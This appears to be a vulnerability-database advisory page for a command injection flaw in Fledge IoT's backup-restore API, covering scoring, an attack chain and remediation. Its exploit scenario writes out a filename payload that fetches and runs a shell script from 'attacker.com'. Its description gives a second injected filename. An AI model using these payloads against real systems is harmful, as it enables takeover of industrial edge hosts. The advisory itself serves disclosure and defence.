Skip to main content

Fledge IoT CVE-2026-71284

| EUVDEUVD-2026-53369 HIGH
OS Command Injection (CWE-78)
2026-08-05 TuranSec GHSA-6h3f-43g6-3hqh
7.2
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Fledge admin credentials
  2. Delivery
    Craft tar archive with injected filename
  3. Exploit
    Upload archive to /backup-restore API endpoint
  4. Execution
    Bypass prefix/suffix filename validation
  5. Persist
    os.system() invokes shell with embedded command substitution
  6. Impact
    Achieve arbitrary OS command execution as Fledge service user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Fledge administrator session - the CVSS vector PR:H confirms high-privilege authentication is necessary. The attacker must have access to the Fledge REST API backup-restore upload endpoint (network reachability, AV:N). No special non-default configuration is required beyond having admin credentials; the vulnerable code path is exercised by the standard backup upload workflow. Exploitation is limited by: (1) the admin privilege prerequisite, ruling out unauthenticated or low-privilege attackers; (2) the need to reach the Fledge API over the network, which in well-segmented IIoT deployments should be restricted to an operations VLAN. No requirement for user interaction from a third party (UI:N), and the attack works against any version per the CPE wildcard.

Impact

The CVSS 7.2 score with vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H accurately captures the risk envelope. The high-privilege requirement (PR:H) is the critical limiting factor - exploitation requires an authenticated Fledge administrator account, which substantially narrows the realistic attacker pool to insiders, credential-compromised accounts, or post-initial-access lateral movement scenarios. Attack complexity is genuinely low (AC:L): crafting the malicious filename requires no special tooling, only understanding of shell metacharacter syntax. Full CIA impact (C:H/I:H/A:H) is justified because arbitrary OS command execution as the Fledge service user gives complete control over the host process and any data it can access. No EPSS score was provided in the intelligence data, and neither KEV listing nor public POC has been identified, so real-world exploitation probability cannot be quantified from available signals. The threat is most credible in environments with weak admin credential hygiene, shared admin accounts, or where Fledge's API is exposed to a broad internal network rather than tightly scoped to operators.

Exploit ScenarioDerived

An attacker who has obtained Fledge administrator credentials - through phishing, credential reuse, or lateral movement - crafts a tar archive whose first member is named fledge_backup_$(curl attacker.com/shell.sh|bash).db. When this archive is uploaded via the backup-restore API, upload_backup() extracts the filename, passes the startswith/endswith checks, and builds the shell command string; os.system() then invokes /bin/sh -c which evaluates the $() substitution and executes the attacker-controlled command as the Fledge service process user. No public POC has been identified, but the technique requires only standard Unix tar and shell knowledge.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Command injection in Fledge's backup-restore upload handler allows an authenticated administrator to execute arbitrary OS commands on the underlying host by uploading a crafted tar archive. The vulnerable function upload_backup() in python/fledge/services/core/api/backup_restore.py constructs a shell command via unsanitized string formatting and passes it directly to os.system(), while filename validation only checks prefix and suffix - a filename such as fledge_backup_$(id>/tmp/pwn).db satisfies both checks while embedding a shell command substitution. CVSS 7.2 (PR:H) reflects the admin privilege prerequisite; no public exploit or CISA KEV listing has been identified at time of analysis, but the technique is trivially reproducible given access.

RemediationAI

The primary fix is to replace the os.system() string-formatting pattern with either shlex.quote() applied to all user-controlled path components before interpolation, or - preferably - the list-form subprocess.run(['cp', source, backup_path], check=True) which bypasses the shell entirely and eliminates the injection surface. The fix must be applied to the upload_backup() function in python/fledge/services/core/api/backup_restore.py; review adjacent functions in the same file for the same anti-pattern. Until a patched release is available (no fixed version confirmed at time of analysis; track https://github.com/fledge-iot/fledge for releases), compensating controls include: restricting access to the Fledge REST API to a dedicated operations network segment rather than broad LAN/WAN exposure; enforcing multi-factor authentication or strong credential controls on administrator accounts; and auditing which accounts hold admin privileges to minimize the blast radius of credential compromise. Disabling the backup-restore upload endpoint entirely is the most effective workaround if that feature is not operationally required.

Affected VersionsENISA

fledge 0 ≤3.1.0

Affected Packages

euvd fledge no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Fledge is an open-source IIoT data historian and edge processing platform (cpe:2.3:a:fledge-iot:fledge:*:*:*:*:*:*:*:*). The flaw resides in the Python REST API layer at python/fledge/services/core/api/backup_restore.py. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically the pattern: cmd = 'cp {} {}'.format(source, backup_path) followed by os.system(cmd). Python's os.system() invokes /bin/sh -c, which interprets shell metacharacters including $() command substitution, backticks, semicolons, and pipes. The only guard - a startswith()/endswith() check on the tar member's filename - is a classic allowlist bypass; it checks prefix and suffix independently, leaving the middle of the string entirely unvalidated. The correct remediation pattern would use shlex.quote() on all interpolated paths, or preferably replace os.system() with subprocess.run() in list form (e.g., ['cp', source, backup_path]) which never invokes a shell.

Know when Fledge gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.2 HIGH

Network-accessible API (AV:N), trivial filename crafting (AC:L), admin credentials required per description (PR:H), arbitrary command execution yields full CIA impact.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Fledge's backup-restore upload handler, upload_backup() (python/fledge/services/core/api/backup_restore.py), takes the first extracted tar member's filename (tar_file_names[0]) and builds a shell command via string formatting: cmd = "cp {} {}".format(source, backup_path); ret_code = os.system(cmd). The only pre-check on the filename is a prefix/suffix match (startswith(backup_prefix), endswith(valid_extensions)), which a name such as fledge_backup_$(id>/tmp/pwn).db satisfies while still injecting a shell command substitution. Because os.system() invokes a shell and no quoting (shlex.quote, list-form subprocess) is applied, an admin uploading a crafted backup archive achieves arbitrary OS command execution.

Executive ViewAI

Why It Matters

Fledge's backup-restore functionality contains a command injection vulnerability allowing any administrator to execute arbitrary operating system commands and compromise the underlying host system. In multi-user administrative environments, this creates significant risk if admin credentials are compromised or misused. Immediate restrictions on backup access and enhanced monitoring are essential to prevent full infrastructure compromise.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict backup-restore API access to a minimal set of essential administrators; (2) enforce multi-factor authentication for all accounts with backup-restore permissions; (3) disable the backup-restore endpoint if not actively required for operations; (4) implement comprehensive audit logging and alerting on all backup file uploads with detection rules for suspicious shell metacharacters in filenames; (5) perform monthly forensic reviews of backup-related activity logs; (6) implement application-level filename validation to reject archive uploads containing unusual character patterns or special shell characters.

Threat Intelligence Overview

EPSS Score
0.9%
Top 44% exploitable
Prevalence
Low
niche open-source IIoT edge historian, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy